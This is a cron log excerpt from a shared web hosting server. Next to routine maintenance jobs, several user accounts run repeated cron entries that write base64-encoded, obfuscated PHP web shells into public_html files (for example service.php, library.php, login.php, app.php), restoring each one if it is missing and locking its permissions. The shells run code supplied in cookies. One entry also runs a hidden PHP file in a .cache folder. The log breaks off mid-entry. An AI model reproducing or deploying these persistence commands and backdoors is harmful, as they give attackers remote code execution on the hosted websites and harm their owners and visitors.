Mar  2 09:01:02 medusa CROND[2485]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:01:02 medusa CROND[2486]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:01:02 medusa CROND[2492]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:02:01 medusa CROND[22655]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 09:02:02 medusa CROND[22834]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:02:02 medusa CROND[22835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:02:02 medusa CROND[22837]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:02:02 medusa CROND[22838]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:02:02 medusa CROND[22839]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:02:02 medusa CROND[22840]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:02:02 medusa CROND[22843]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:02:02 medusa CROND[22847]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:02:02 medusa CROND[22848]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 09:02:02 medusa CROND[22849]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:02:02 medusa CROND[22859]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:02:02 medusa CROND[22867]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:03:01 medusa CROND[7427]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:03:01 medusa CROND[7429]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:03:01 medusa CROND[7510]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 09:03:01 medusa CROND[7713]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:03:01 medusa CROND[7714]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:03:01 medusa CROND[7715]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:03:01 medusa CROND[7722]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBU